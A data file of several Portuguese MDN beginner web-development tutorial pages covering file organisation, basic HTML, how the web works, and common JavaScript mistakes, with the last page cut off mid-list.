{"title":"Lidando com arquivos - Aprendendo desenvolvimento web","text":"Lidando com arquivos\n====================\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\nUm site consiste de muitos arquivos: conteúdo em texto, código, folhas de estilo, conteúdo em mídia e por aí vai. Ao criar um site, você precisa reunir esses arquivos em uma certa estrutura no computador local, certificar-se de que eles possam se comunicar e obter todo o conteúdo antes de enviá-los para o servidor. *Lidando com Arquivos* discute algumas questões às quais você deve estar ciente para que você possa configurar uma estrutura de arquivos para o seu site.\n\nOnde seu site deve residir no seu computador?\n---------------------------------------------\n\nQuando você está trabalhando em um site localmente no seu próprio computador, você deve manter todos os arquivos relacionados em uma mesma pasta que reflete a estrutura dos arquivos do site publicado em um servidor. Essa pasta pode estar em qualquer lugar que você quiser, mas você deve colocá-la em algum lugar de fácil acesso, talvez no Desktop, na sua pasta Home, ou na raiz do seu HD.\n\n1. Escolha um lugar para guardar seus projetos de site. Aqui, crie uma nova pasta chamada `projetos-web` (ou algo do tipo). Essa é a pasta onde todos seus projetos de site estarão.\n2. Dentro dessa pasta, crie outra pasta para guardar seu primeiro site. Chame ela de `site-teste` (ou algo mais criativo).\nDeixando de lado as maiúsculas e espaços\n----------------------------------------\n\nVocê vai perceber no decorrer desse artigo que nós pedimos para que você nomeie pastas e arquivos completamente em letras minúsculas e sem espaços. Isso acontece porque:\n\n1. Muitos computadores, particularmente servidores web, são case-sensitive. Então, por exemplo, se você colocar uma imagem no seu site em `site-teste/MyImage.jpg`, e então em um outro arquivo você tentar chamar `site-teste/myimage.jpg`, não vai funcionar.\n2. Navegadores, servidores web e linguagens de programação não lidam bem com espaços. Por exemplo, se você usa espaços no nome do seu arquivo, alguns sistemas vão tratar o nome do arquivo como dois nomes. Alguns servidores vão substituir os espaços no nome do arquivo por \"%20\" (o código para espaço em URLs), quebrando seus links. É melhor separar palavras com traços, em vez de sublinhado: `meu-arquivo.html` vs. `meu_arquivo.html`.\n\nA resposta curta é que você deve usar um hífen para os nomes dos arquivos. O mecanismo de pesquisa do Google trata um hífen como separador de palavras, mas não considera um sublinhado dessa maneira. Por esses motivos, é melhor criar o hábito de escrever sua pasta e nomes de arquivos em letras minúsculas, sem espaços e com palavras separadas por traços, pelo menos até você saber o que está fazendo. Dessa forma, você encontrará menos problemas no futuro.\n\nQual estrutura seu site deve ter?\n---------------------------------\n\nA seguir, vamos ver qual estrutura seu site teste deve ter. As coisas mais comuns que temos em qualquer projeto de site que criamos são um arquivo de índice HTML e pastas que contém imagens, arquivos de estilo e arquivos de scripts. Vamos criá-los agora:\n\n1. **`index.html`**: Esse arquivo vai geralmente conter o conteúdo da sua página, ou seja, os textos e as imagens que as pessoas veem quando acessam seu site pela primeira vez. Usando seu editor de texto, crie um novo arquivo chamado `index.html` e salve dentro da sua pasta `site-teste`.\n2. **pasta `imagens`**: Essa pasta vai conter todas as imagens que você vai usar no seu site. Crie uma pasta chamada `imagens`, dentro da sua pasta `site-teste`.\n3. **pasta `estilos`**: Essa pasta vai conter os códigos CSS usados para dar estilo ao seu conteúdo (por exemplo, configurando a cor do texto e do fundo da página). Crie uma pasta chamada `estilos`, dentro da pasta `site-teste`.\n4. **pasta `scripts`**: Essa pasta vai conter todos os códigos JavaScript usados para adicionar funcionalidades interativas para seu site (ex.: botões que carregam dados quando clicados). Crie uma pasta chamada `scripts`, dentro da sua pasta `site-teste`.\n\n**Nota:** Em computadores com Windows, você deve ter problemas para ver os nomes dos arquivos, porque o Windows tem uma opção chamada **Ocultar as extensões dos tipos de arquivo conhecidos** ativada por padrão. Geralmente você pode desativar essa opção indo no Windows Explorer, selecionando a opção **Opções de pasta...**, desmarque a caixa de seleção **Ocultar as extensões dos tipos de arquivo conhecidos**, e clique em **OK**. Para mais informação sobre sua versão de Windows, procure na web.\n\nCaminhos de arquivo\n-------------------\n\nPara fazer arquivos conversarem entre si, você tem que fornecer um caminho de arquivo entre eles — basicamente uma rota para que um arquivo saiba onde o outro está. Para demonstrar isso, nós vamos inserir um pouco de HTML no nosso arquivo `index.html`, e fazer mostrar a imagem que você escolheu no artigo \"Como será o seu site?\"\n\n1. Copie a imagem que você escolheu antes para sua pasta `imagens`.\n2. Abra seu arquivo `index.html` e insira o seguinte código exatamente como está escrito. Não se preocupe com o significado — nós vamos olhar com mais detalhes essa estrutura posteriormente.\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <title>Minha página de teste</title>\n  </head>\n  <body>\n    <img src=\"\" alt=\"Minha imagem de teste\" />\n  </body>\n</html>\n```\n\n3. A linha `<img src=\"\" alt=\"Minha imagem de teste\">` é o código HTML que vai inserir uma imagem na página. Nós precisamos dizer ao HTML onde a imagem está. A imagem está dentro da pasta *imagens*, no mesmo diretório do `index.html`. Para trilhar o caminho de `index.html` para nossa imagem, o caminho é `imagens/nome-da-sua-imagem`. Por exemplo, nossa imagem é chamada `firefox-icon.png`, então, nosso caminho é `imagens/firefox-icon.png`.\n4. Insira o caminho dentro do seu código HTML, dentro das aspas do código `src=\"\"`.\n5. Salve seu arquivo HTML, então carregue em seu navegador web (dê um duplo-clique no arquivo). Você deve ver sua nova página mostrando sua imagem!\n\n![A screenshot of our basic website showing just the firefox logo - a flaming fox wrapping the world](/pt-BR/docs/Learn/Getting_started_with_the_web/Dealing_with_files/website-screenshot.png)\n\nAlgumas regras gerais para caminhos de arquivo:\n\n* Para linkar para um arquivo no mesmo diretório do arquivo HTML, apenas use o nome do arquivo, ex.: `my-image.jpg`.\n* Para linkar um arquivo em um sub-diretório, escreva o nome do diretório na frente, mais uma barra, ex.: `subdirectory/my-image.jpg`.\n* Para linkar um arquivo **acima** do arquivo HTML, use dois pontos. Então, por exemplo, se `index.html` estiver dentro de uma subpasta de `site-teste` e `my-image.png` estiver dentro de `site-teste`, você pode fazer referência a `my-image.png` em `index.html` usando `../my-image.png`.\n* Você pode combinar isso como preferir, por exemplo `../subdiretorio/outro-subdiretorio/my-image.png`.\n\nPor agora, isso é tudo o que precisamos saber.\n\n**Nota:** O sistema de arquivos do Windows tende a usar barras invertidas, não barras normais , ex.: `C:\\windows`. Isso não importa — mesmo se você estiver desenvolvendo seu site no Windows, você ainda deve usar barras normais no seu código.\n\nO que mais deve ser feito?\n--------------------------\n\nPor agora, é isso. Sua pasta deve parecer algo do tipo:\n\n![A file structure in mac os x finder, showing an images folder with an image in, empty scripts and styles folders, and an index.html file](/pt-BR/docs/Learn/Getting_started_with_the_web/Dealing_with_files/file-structure.png)\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"HTML básico - Aprendendo desenvolvimento web","text":"HTML básico\n===========\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima\n\nHTML (Linguagem de Marcação de Hipertexto) é o código que você usa para estruturar uma página web e seu conteúdo. Por exemplo, o conteúdo pode ser estruturado em parágrafos, em uma lista com marcadores ou usando imagens e tabelas. Como o título sugere, este artigo fornecerá uma compreensão básica do HTML e suas funções.\n\nEntão, o que é HTML?\n--------------------\n\nHTML não é uma linguagem de programação; é uma *linguagem de marcação*, usada para definir a estrutura do seu conteúdo. HTML consiste de uma série de **elementos**, que você usa para delimitar ou agrupar diferentes partes do conteúdo para que ele apareça ou atue de determinada maneira. As tags anexas podem transformar uma palavra ou imagem num hiperlink, pode colocar palavras em itálico, pode aumentar ou diminuir a fonte e assim por diante. Por exemplo, veja a seguinte linha de conteúdo:\n```\n\nMeu gatinho é muito mal humorado\n```\n\n\nSe quiséssemos que a linha permanecesse por si só, poderíamos especificar que é um parágrafo colocando-a em uma tag de parágrafo:\n\n\n```html\n<p>Meu gatinho é muito mal humorado</p>\n```\n\n### Anatomia de um elemento HTML\n\nVamos explorar esse parágrafo mais profundamente.\n\n![Imagem mostrando como funciona a tag P](/pt-BR/docs/Learn/Getting_started_with_the_web/HTML_basics/gato-rabujento-pequeno.png)\n\nAs principais partes de um elemento são:\n\n1. A **tag de abertura**: Consiste no nome do elemento (no caso, p), envolvido em **parênteses angulares** de abertura e fechamento. Isso demonstra onde o elemento começa, ou onde seu efeito se inicia — nesse caso, onde é o começo do parágrafo.\n2. A **tag de fechamento**: Isso é a mesma coisa que a tag de abertura, exceto que inclui uma barra antes do nome do elemento. Isso demonstra onde o elemento acaba — nesse caso, onde é o fim do parágrafo. Esquecer de incluir uma tag de fechamento é um dos erros mais comuns de iniciantes e pode levar a resultados estranhos.\n3. O **conteúdo**: Esse é o conteúdo do elemento, que nesse caso é apenas texto.\n4. O **elemento**: A tag de abertura, a de fechamento, e o conteúdo formam o elemento.\n\nElementos também podem ter atributos, que parecem assim:\n\n![Imagem mostrando elemento na tag P](/pt-BR/docs/Learn/Getting_started_with_the_web/HTML_basics/gato-rabujento-atributo-pequeno.png)\n\nAtributos contém informação extra sobre o elemento que você não quer que apareça no conteúdo real. Aqui, `class` é o nome do atributo e `editor-note` é o valor do atributo. O atributo `class` permite que você forneça ao elemento um identificador que possa ser usado posteriormente para aplicar ao elemento informações de estilo e outras coisas.\n\nUm atributo sempre deve ter:\n\n1. Um espaço entre ele e o nome do elemento (ou o atributo anterior, se o elemento já tiver um).\n2. O nome do atributo, seguido por um sinal de igual.\n3. Aspas de abertura e fechamento, envolvendo todo o valor do atributo.\n\n**Nota:** Valores de atributos simples que não contém espaço em branco ASCII (ou qualquer um dos caracteres `\"` `'` ``` `=` `<` `>`) podem permanecer sem aspas, mas é recomendável colocar em todos os valores de atributos, pois isso torna o código mais consistente e compreensível.\n\n### Aninhando elementos\n\nVocê pode colocar elementos dentro de outros elementos também — isso é chamado de **aninhamento**. Se quiséssemos afirmar que nosso gato é **muito** mal-humorado, poderíamos envolver a palavra \"muito\" em um elemento `<strong>`, o que significa que a palavra deve ser fortemente enfatizada:\n\n\n```html\n<p>Meu gatinho é <strong>muito</strong> mal humorado.</p>\n```\n\n\nVocê precisa, no entanto, certificar-se de que seus elementos estejam adequadamente aninhados. No exemplo acima, abrimos primeiro o elemento `<p>`, depois o elemento `<strong>`; portanto, temos que fechar primeiro o elemento `<strong>`, depois o elemento `<p>`. O código abaixo está incorreto:\n\n\n```html\n<p>Meu gatinho é <strong>muito mal humorado.</p></strong>\n```\n\n\nOs elementos precisam ser abertos e fechados corretamente para que eles estejam claramente visíveis dentro ou fora um do outro. Se eles se sobrepuserem conforme mostrado acima, seu navegador tentará adivinhar o que você estava tentando dizer, o que pode levar a resultados inesperados. Então não faça isso!\n\n### Elementos vazios\n\nAlguns elementos não possuem conteúdo e são chamados de **elementos vazios**. Considere o elemento `<img>` que temos na nossa página HTML:\n\n\n```html\n<img src=\"imagens/firefox-icon.png\" alt=\"Minha imagem de teste\" />\n```\n\n\nEle contém dois atributos, mas não há tag `</img>` de fechamento, e não há conteúdo interno. Isso acontece porque um elemento de imagem não envolve conteúdo para ter efeito em si mesmo. Sua proposta é incorporar uma imagem na página HTML no lugar que o código aparece.\n\n### Anatomia de um documento HTML\n\nIsso resume o básico dos elementos HTML individuais, mas eles não são úteis por si só. Agora vamos ver como elementos individuais são combinados para formar uma página HTML inteira. Vamos visitar novamente os códigos que colocamos no exemplo de `index.html` (que vimos no artigo Lidando com arquivos):\n\n\n```html\n<!doctype html>\n<html>\n  <head>\n    <meta charset=\"utf-8\" />\n    <meta name=\"viewport\" content=\"width=device-width\" />\n    <title>Minha página de teste</title>\n  </head>\n  <body>\n    <img src=\"images/firefox-icon.png\" alt=\"minha página de teste\" />\n  </body>\n</html>\n```\n\n\nAqui nós temos:\n\n* `<!DOCTYPE html>` — o doctype. É a parte inicial obrigatória do documento. Nas névoas do tempo, quando o HTML era novo (por volta de 1991/2), doctypes eram criados para agir como links para um conjunto de regras que a página HTML tinha que seguir para ser considerada um bom HTML, o que poderia significar checagem automática de erros e outras coisas úteis. No entanto, atualmente, eles não fazem muito sentido e são basicamente necessários apenas para garantir que o documento se comporte corretamente. Isso é tudo que você precisa saber agora.\n* `<html></html>` — o elemento `<html>`. Esse elemento envolve todo o conteúdo da página e às vezes é conhecido como o elemento raiz.\n* `<head></head>` — o elemento `<head>`. Esse elemento age como um recipiente de tudo o que você deseja incluir em uma página HTML que *não é* o conteúdo que você quer mostrar para quem vê sua página. Isso inclui coisas como palavras-chave e uma descrição que você quer que apareça nos resultados de busca, CSS para dar estilo ao conteúdo, declarações de conjuntos de caracteres e etc.\n* `<meta charset=\"utf-8\">` — esse elemento define o conjunto de caracteres que seu documento deve usar para o UTF-8, que inclui praticamente todos os caracteres da grande maioria dos idiomas escritos. Essencialmente, agora ele pode manipular qualquer conteúdo textual que você possa colocar. Não há razão para não definir isso e assim pode ajudar a evitar alguns problemas no futuro.\n* `<title></title>` — o elemento `<title>`. Ele define o título da sua página, que é o título que aparece na guia do navegador onde sua página é carregada. Ele também é usado para descrever a página quando você a adiciona aos favoritos.\n* `<body></body>` — o elemento `<body>`. Contém *todo* o conteúdo que você quer mostrar ao público que visita sua página, seja texto, imagens, vídeos, jogos, faixas de áudio reproduzíveis ou qualquer outra coisa.\nImagens\n-------\n\nVamos voltar nossa atenção para o elemento `<img>` novamente:\n\n\n```html\n<img src=\"images/firefox-icon.png\" alt=\"Minha imagem de teste\" />\n```\n\n\nComo dissemos antes, isso incorpora uma imagem na nossa página na posição que aparece. Isso é feito pelo atributo `src` (*source*), que contém o caminho para nosso arquivo de imagem.\n\nIncluímos também um atributo `alt` (*alternative*). Neste atributo, você especifica um texto descritivo para usuários que não podem ver a imagem, possivelmente devido aos seguintes motivos:\n\n1. Eles são deficientes visuais. Usuários com deficiências visuais significativas costumam usar ferramentas chamadas leitores de tela para ler o texto alternativo para eles.\n2. Algo deu errado, fazendo com que a imagem não seja exibida. Por exemplo, tente alterar deliberadamente o caminho dentro do atributo `src` para torná-lo incorreto. Se você salvar e recarregar a página, você deve ver algo assim no lugar da imagem:\n\n![As palavras: my test image](/pt-BR/docs/Learn/Getting_started_with_the_web/HTML_basics/alt-text-example.png)\n\nAs palavras-chave para o texto alternativo são \"texto descritivo\". O texto alternativo que você escreve deve fornecer ao leitor informações suficientes para ter uma boa ideia do que a imagem mostra. Neste exemplo, nosso texto \"Minha imagem teste\" não é bom para todos. Uma alternativa muito melhor para o nosso logotipo do Firefox seria \"A logo do Firefox: uma raposa em chamas envolvendo a Terra.\"\n\nTente criar um texto alternativo melhor para sua imagem agora.\n\n**Nota:** Saiba mais sobre acessibilidade em módulo de aprendizagem sobre acessibilidade.\n\nMarcando o texto\n----------------\n\nEssa seção abordará alguns dos elementos HTML essenciais que você usará para marcar o texto.\n\n### Cabeçalhos\n\nOs elementos de cabeçalhos permitem especificar que certas partes do seu conteúdo são títulos ou subtítulos. Da mesma forma que um livro tem o título principal e os capítulos possuem títulos e subtítulos, um documento HTML também tem. HTML contém 6 níveis de título, `<h1>` (en-US) - `<h6>` (en-US), embora você normalmente só use de 3 a 4:\n\n\n```html\n<!-- 4 níveis de título -->\n<h1>Meu título principal</h1>\n<h2>Meu título de alto nível</h2>\n<h3>Meu subtítulo</h3>\n<h4>Meu segundo subtítulo</h4>\n```\n\n\n**Nota:** Qualquer coisa em HTML entre `<!--` e `-->` é um **comentário HTML**. O navegador ignora comentários enquanto renderiza o código. Em outras palavras, eles não são visíveis na página – apenas no código. Os comentários HTML são uma forma de escrever notas úteis sobre seu código ou lógica.\n\nAgora tente adicionar um título adequado à sua página HTML logo acima do elemento `<img>`.\n\n**Nota:** você verá que seu título de nível 1 tem um estilo implícito. Não use elementos de cabeçalho para deixar o texto maior ou em negrito, pois eles são usados para acessibilidade e outros motivos, como SEO. Tente criar uma sequência significativa de títulos em suas páginas, sem pular níveis.\n\n### Parágrafo\n\nComo explicado acima, os elementos `<p>` são para conter parágrafos de texto; você os usará com frequência ao marcar um conteúdo de texto regular:\n\n\n```html\n<p>Este é um parágrafo simples</p>\n```\n\n\nAdicione seu texto de exemplo (você o obteve em *Como será o seu site?*) Em um ou alguns parágrafos, colocados diretamente abaixo do seu elemento `<img>`.\n\n### Listas\n\nMuito do conteúdo da web é de listas e o HTML tem elementos especiais para elas. Listas de marcação sempre consistem em pelo menos 2 elementos. Os tipos mais comuns de lista são ordenadas e não ordenadas:\n\n1. **Listas não ordenadas** são para listas onde a ordem dos itens não importa, como uma lista de compras, por exemplo. Essas são envolvidas em um elemento `<ul>`.\n2. **Listas Ordenadas** são para listas onde a ordem dos itens importa, como uma receita. Essas são envolvidas em um elemento `<ol>`.\n\nCada item dentro das listas é posto dentro de um elemento `<li>` (item de lista).\n\nPor exemplo, se nós quisermos tornar uma parte de um parágrafo numa lista:\n\n\n```html\n<p>\n  Na Mozilla, somos uma comunidade global de tecnólogos, pensadores e\n  construtores trabalhando juntos ...\n</p>\n```\n\n\nNós podemos fazer assim:\n\n\n```html\n<p>Na Mozilla, somos uma comunidade global de</p>\n\n<ul>\n  <li>tecnólogos</li>\n  <li>pensadores</li>\n  <li>construtores</li>\n</ul>\n\n<p>trabalhando juntos ...</p>\n```\n\n\nTente adicionar uma lista ordenada ou não ordenada à sua página de exemplo.\n\nLinks\n-----\n\nLinks são muito importantes — eles são o que faz da web ser de fato uma REDE! Para adicionar um link, precisamos usar um elemento simples — `<a>` — \"a\" é a forma abreviada de \"âncora\". Para transformar o texto do seu parágrafo em um link, siga estas etapas:\n\n1. Escolha algum texto. Nós escolhemos o texto \"Mozilla Manifesto\".\n2. Envolva o texto em um elemento `<a>` , assim:\n\n```html\n<a>Mozilla Manifesto</a>\n```\n\n3. Dê ao elemento `<a>` um atributo `href`, como mostrado abaixo:\n\n```html\n<a href=\"\">Mozilla Manifesto</a>\n```\n\n4. Preencha o valor desse atributo com o endereço da Web que você deseja vincular o link:\n\n```html\n<a href=\"https://www.mozilla.org/pt-BR/about/manifesto/\"\n >Mozilla Manifesto</a\n>\n```\n\n\nVocê pode obter resultados inesperados se omitir a parte `https://` ou o `http://`, o chamado *protocolo*, no começo do endereço web. Então depois de criar um link, clique nele para ter certeza de que ele está indo para onde você deseja.\n\n**Nota:** `href` pode parecer, numa primeira impressão, uma escolha obscura para um nome de atributo. Se você está tendo problemas para lembrar do nome, lembre que significa ***h**ypertext **ref**erence*. (referência em hipertexto)\n\nAdicione um link em sua página agora, se ainda não tiver feito isso.\n\nConclusão\n---------\n\nSe você seguiu todas as instruções neste artigo, você deve terminar com uma página que pareça algo do tipo (você também pode vê-la aqui):\n\n![Uma captura de tela da página da Web mostrando um logotipo do Firefox, um título dizendo que o mozilla é legal e dois parágrafos de texto de preenchimento](/pt-BR/docs/Learn/Getting_started_with_the_web/HTML_basics/finished-test-page-small.png)\n\nSe você ficar emperrado, pode sempre comparar seu trabalho com nosso código de exemplo finalizado no Github.\n\nAqui, nós só arranhamos na superfície do HTML. Para descobrir mais, vá a nossa Estruturando a web com HTML.\n\n* Anterior\n* Menu: Getting started with the web\n* Próxima"}
{"title":"Como a Web funciona - Aprendendo desenvolvimento web","text":"Como a Web funciona\n===================\n\n* Anterior\n* Menu: Getting started with the web\n\n*Como a Web funciona* oferece uma visão simplificada do que acontece quando você vê uma página em um navegador, no seu computador ou telefone.\n\nEssa teoria não é essencial para escrever códigos em curto prazo, mas em pouco tempo você vai se beneficiar ao entender o que está acontecendo em segundo plano.\n\nClientes e servidores\n---------------------\n\nComputadores conectados à web são chamados **clientes** e **servidores**. Um diagrama simplificado de como eles interagem pode ter essa aparência:\n\n![Two circles representing client and server. An arrow labelled request is going from client to server, and an arrow labelled responses is going from server to client](/pt-BR/docs/Learn/Getting_started_with_the_web/How_the_Web_works/simple-client-server.png)\n\n* Clientes são os típicos dispositivos conectados à internet dos usuários da web (por exemplo, seu computador conectado ao seu Wi-Fi ou seu telefone conectado à sua rede móvel) e programas de acesso à Web disponíveis nesses dispositivos (geralmente um navegador como Firefox ou Chrome).\n* Servidores são computadores que armazenam páginas, sites ou aplicativos. Quando o dispositivo de um cliente quer acessar uma página, uma cópia dela é baixada do servidor para a máquina do cliente para ser apresentada no navegador web do usuário.\nAs outras partes da caixa de ferramentas\n----------------------------------------\n\nO cliente e o servidor que descrevemos acima não contam toda a história. Existem muitas outras partes envolvidas, e vamos descrevê-las abaixo.\n\nPor enquanto, vamos imaginar que a web é uma estrada. Em um extremo da estrada, temos o cliente, que é como sua casa. No extremo oposto, temos o servidor, que é como uma loja onde você quer comprar algo.\n\n![](/pt-BR/docs/Learn/Getting_started_with_the_web/How_the_Web_works/road.jpg)\n\nAlém do cliente e do servidor, também precisamos dizer oi para:\n\n* **Sua conexão de Internet**: permite que você mande e receba dados na web. É basicamente como a rua entre sua casa e a loja.\n* **TCP/IP**: Protocolo de Controle de Transmissão e Protocolo de Internet (*Transmission Control Protocol* e *Internet Protocol*) são protocolos de comunicação que definem como os dados trafegam pela web. São como os mecanismos de transporte que te permitem ir ao shopping, fazer um pedido e comprar seus produtos. Em nosso exemplo, é como um carro ou uma bicicleta (ou qualquer outra coisa que você possa usar).\n* **DNS**: Servidor de Nome de Domínio (*Domain Name Servers*) são como um catálogo de endereços para sites. Quando você digita um endereço web no seu navegador, o navegador procura no servidor de DNS para localizar o endereço real do site, antes que ele possa recuperar o site. O navegador precisa encontrar em qual servidor web a página está hospedada para que ele possa mandar mensagens HTTP ao lugar certo (veja abaixo). Isso é como pesquisar o endereço da loja para que você possa entrar em contato.\n* **HTTP**: Protocolo de Transferência de Hypertexto (*Hypertext Transfer Protocol*) é um protocolo de aplicação que define uma linguagem para clientes e servidores se comunicarem entre si. É como a linguagem que você usa para encomendar seus produtos.\n* **Arquivos componentes**: um website é feito de muitos arquivos diferentes, que são como as diferentes partes dos produtos que você comprou na loja. Esses arquivos são divididos em dois tipos principais:\n    + **Arquivos de Código**: os sites são feitos principalmente de HTML, CSS e JavaScript, embora você possa conhecer outras tecnologias mais tarde.\n    + **Recursos**: esse é o nome coletivo para todas as outras coisas que compõem um site, como imagens, música, vídeos, documentos do Word e PDFs.\nEntão, o que acontece, exatamente?\n----------------------------------\n\nQuando você digita um endereço da web no seu navegador (pela nossa analogia é como ir andando até a loja):\n\n1. O navegador vai para o servidor de DNS e encontra o endereço verdadeiro de onde o site está hospedado (você encontra o endereço da loja).\n2. O navegador manda uma mensagem de requisição HTTP para o servidor, pedindo que envie uma cópia do site ao cliente (você vai até a loja e pede suas mercadorias). Esta mensagem e todos os outros dados enviados entre o cliente e o servidor são enviados pela sua conexão à internet usando TCP/IP.\n3. Se o servidor aprovar a requisição do cliente, o servidor enviará ao cliente uma mensagem \"200 OK\", que significa \"Claro que você pode ver esse site! Aqui está\" e então começa a enviar os arquivos do site para o navegador como uma série de pequenos pedaços chamados pacotes de dados (a loja dá a você as suas mercadorias e você as traz para sua casa).\n4. O navegador monta os pequenos pedaços em um site completo e o mostra a você (as mercadorias chegam à sua porta — novas coisas brilhantes e incríveis!).\nDNS explicado\n-------------\n\nEndereços web verdadeiros não são sequências de textos boas e fáceis de lembrar que você digita na sua barra de endereços para encontrar seus sites favoritos. Eles são números especiais que se parecem com isso: `63.245.215.20`.\n\nIsso é chamado endereço IP e representa um local único na web. No entanto, não é muito fácil de lembrar, é? É por isso que o Servidor de Nome de Domínio foi inventado. Esses são servidores especiais que relacionam o endereço da web que você digita no seu navegador (como \"mozilla.org\") com o endereço real do site (IP).\n\nSites podem ser acessados diretamente pelo seu endereço IP. Você pode encontrar o endereço IP de um site, digitando seu domínio em uma ferramenta como o DNS lookup.\n\nPacotes explicados\n------------------\n\nAnteriormente, usamos o termo \"pacotes\" para descrever o formato no qual os dados são enviados do servidor para o cliente. O que nós queremos dizer? Basicamente, quando os dados são enviados pela web, eles são enviados como milhares de pequenos blocos, para que muitos usuários diferentes possam baixar o mesmo site ao mesmo tempo. Se os websites fossem enviados como um grande bloco, somente um usuário por vez poderia baixá-los, o que, obviamente, tornaria a web muito ineficiente e não muito divertida de usar.\n\nVeja também\n-----------\n\n* Como a Internet funciona\n* HTTP — uma Aplicação a Nível de Protocolo\n* HTTP: Vamos Começar!\n* HTTP: Códigos de resposta\nCréditos\n--------\n\nFoto da rua: Street composing, por Kevin D.\n\n* Anterior\n* Menu: Getting started with the web"}
{"title":"Elementos construtivos do Javascript - Aprendendo desenvolvimento web","text":"Elementos construtivos do Javascript\n====================================\n\nNeste módulo, continuaremos nossa abordagem por todos os recursos-chave fundamentais de Javascript, voltando nossa atenção para os tipos de bloco de código comumente encontrados, tais como declarações condicionais, laços, funções e eventos. Você já viu isso no curso, mas apenas de passagem - aqui nós vamos discutir tudo isso explicitamente.\n\nPré-requisitos\n--------------\n\nAntes de iniciar este módulo, você deve ter familiaridade com os conceitos básicos de HTML e CSS, além de ter estudado nosso módulo anterior, primeiros passos no Javacript.\n\n**Nota:** Se você está trabalhando em um computador, tablet ou outro dispositivo onde você não tem a habilidade para criar seus próprios arquivos, você pode testar os exemplos de código (a maioria deles) em um programa de codificação online, tal como JSBin ou Thimble.\n\nGuias\n-----\n\nTomando decisões em seu código — condicionais\n\nEm qualquer linguagem de programação, o código precisa tomar decisões e realizar ações de acordo com diferentes valores de entrada. Por exemplo, em um jogo, se o número de vidas de um jogador é 0, então é \"fim de jogo\". Em um aplicativo de previsão do tempo, se ele está sendo olhado de manhã, é exibido um gráfico de nascer do sol; se for noite, mostra estrelas e a lua. Neste artigo, vamos explorar como as estruturas condicionais funcionam em Javascript.\n\nRe-executando código\n\nÀs vezes você precisa que uma tarefa seja feita mais de uma vez em uma linha. Por exemplo, percorrendo uma lista de nomes. Em programação, laços realizam esse trabalho muito bem. Aqui nós vamos ver estruturas de laço em Javascript.\n\nFunções — blocos reutilizáveis de código\n\nOutro conceito essencial em codificação são **funções**. **Funções** permitem que você armazene um trecho de código que executa uma única tarefa dentro de um bloco definido, e então chame aquele código em qualquer lugar que você precise dele usando um comando curto - em vez de ter que digitar o mesmo código múltiplas vezes. Neste artigo, vamos explorar conceitos fundamentais por trás das funções, tais como sintaxe básica, como invocar e definir funções, escopo e parâmetros.\n\nConstrua sua própria função\n\nCom a maior parte da teoria essencial tratada no artigo anterior, este artigo fornece uma experiência prática. Aqui você vai adquirir um pouco de prática construindo sua própria função personalizada. Junto com isso, vamos explicar mais alguns detalhes úteis sobre lidar com funções.\n\nFunções retornam valores\n\nHá um último conceito essencial para discutirmos nesse curso, antes de encerrarmos nossa abordagem sobre funções — valores de retorno. Algumas funções não retornam nenhum valor significativo após executar, outras retornam. É importantes entender o que esses valores são, como utilizá-los em seu código, e como fazer suas próprias funções customizadas retornarem valores utilizáveis.\n\nIntrodução a eventos\n\nEventos são ações ou ocorrências que acontecem no sistema que você está programando, sobre os quais o sistema te informa para que você possa reagir a eles de alguma forma se desejar. Por exemplo se o usuário clica em um botão numa página, você deve querer responder a essa ação exibindo uma caixa de informação. Neste artigo final nós discutiremos alguns conceitos importantes sobre eventos, e ver como eles funcionam em navegadores.\n\nExercícios\n----------\n\nO exercício a seguir irá testar seu entendimento do básico de JavaScript abordado nos guias acima.\n\nGaleria de imagens\n\nAgora que demos uma olhada os elementos construtivos do JavaScript, vamos testar seu conhecimento sobre loops, funções, condicionais e eventos construindo um item bastante comum que você verá em muitos websites — uma galeria de imagens movida a JavaScript."}
{"title":"Solve common problems in your JavaScript code - Aprendendo desenvolvimento web","text":"Solve common problems in your JavaScript code\n=============================================\n\nOs links a seguir apontam soluções para problemas comuns do dia a dia, você precisará consertar em ordem para que seu código javascript execute corretamente.\n\nErros comuns de iniciantes\n--------------------------\n\n### Digitação correta and casing\n\nSe o seu código não funciona e/ou se seu navegador indicar que algo está indefinido, verifique se você declarou todas os nomes de suas variáveis, nomes de funções, etc. corretamente.\n\nAlgumas funções comuns dos navegadores que causam problema são:\n\n| Correto | Incorreto |\n| --- | --- |\n| `getElementsByTagName()` | `getElementbyTagName()` |\n| `getElementsByName()` | `getElementByName()` |\n| `getElementsByClassName()` | `getElementByClassName()` |\n| `getElementById()` | `getElementsById()` |\n\n### Posições de ponto e vírgula\n\nVocê precisa ter certeza que você não colocou nenhum ponto e vírgula incorretamente. Por exemplo:\n\n| Correct | Wrong |\n| --- | --- |\n| `elem.style.color = 'red';` | `elem.style.color = 'red;'` |\n\n### Funções\n\nHá uma série de coisas que podem dar errado com funções\n\nUm dos erros mais comuns é declarar a função, mas não chama-la em lugar nenhum. Por exemplo:\n\n\n```js\nfunction myFunction() {\n  alert(\"This is my function.\");\n}\n```\n\n\nEste código não fará nada a menos que você o chame, por exemplo com\n\n\n```js\nmyFunction();\n```\n\n\n#### Escopo da função\n\nLembre-se que funções tem seu próprio escopo — você não pode acessar um conjunto de valores de variáveis dentro de uma função fora da função, a não ser que você tenha declarado a variável globalmente (i.e. não dentro de nenhuma função), ou retorne o valor or retorne o valor fora da função\n\n#### Executar o código antes de uma declaração de retorno\n\nRemember also that when you return a value out of a function, the JavaScript interpreter exits the function — no code declared after the return statement will run.\n\nIn fact, some browsers (like Firefox) will give you an error message in the developer console if you have code after a return statement. Firefox gives you \"unreachable code after return statement\".\n\n### Object notation versus normal assignment\n\nWhen you assign something normally in JavaScript, you use a single equals sign, e.g.:\n\n\n```js\nvar myNumber = 0;\n```\n\n\nThis doesn't work in Objects, however — with objects you need to separate member names from their values using colons, and separate each member with a comma, for example:\n\n\n```js\nvar myObject = {\n  name: \"Chris\",\n  age: 38,\n};\n```\n\nDefinições básicas\n------------------\n\n* O que é Javascript?\n* O que é uma variável?\n* O que são strings?\n* O que é um vetor?\n* O que é um laço?\n* O que é uma função?\n* O que é um evento?\n* O que é um objeto?\n* O que é JSON?\n* O que é uma web API?\n* O que é o DOM?\nCasos de uso básicos\n--------------------\n\n### Geral\n\n* Como adicionar JavasScript para sua página?\n* Como adicionar comentários em um código Javascript?\n### Variáveis\n\n* Como você declara uma variável?\n* Como você inicializa uma variável com um valor?\n* Como você atualiza o valor de uma 